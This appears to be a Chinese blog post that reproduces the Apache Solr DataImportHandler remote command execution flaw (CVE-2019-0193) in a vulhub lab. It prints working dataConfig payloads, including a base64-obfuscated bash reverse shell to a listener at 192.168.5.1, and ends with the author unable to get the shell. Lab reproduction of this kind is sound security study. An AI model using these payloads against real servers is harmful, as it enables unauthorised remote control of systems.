Apache Solr 远程命令执行漏洞复现(CVE-2019-0193)
一.漏洞介绍
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击可以通过构造危险的请求,从而造成远程命令执行。
如果想了解更多,参考:https://paper.seebug.org/1009/
二.影响范围
Solr影响的范围较广,版本不限于8.2.
三.操作步骤
1.打开靶场
靶场位置:vulhub-master/solr/CVE-2019-0193
2.访问靶场,进行复现
靶场不需要登录,已经是管理员页面了,直接访问就可以了。
3.执行命令
docker-compose exec solr bash bin/solr create_core -c test2 -d example/example-DIH/solr/db
可以看到这个已经执行成功了,刷新页面就可以知道。
在添加了核心之后,将使用POC对漏洞进行复现。
在Configuration中添加下面的POC;
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/CVE-2019-0193");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
在添加之后,返回虚拟机中进行查看,
4.修改POC代码
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUuMS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
5.监听端口,反弹shell
命令:nc -lnvp 1234
在进行监听操作之后,我发现并没有反弹shell,也毫无反应,难道就只存在文件的写入吗?
可是,在看见其他文章时,也可以反弹啊,这是为什么?试了好几遍还是不可以,
有点头大。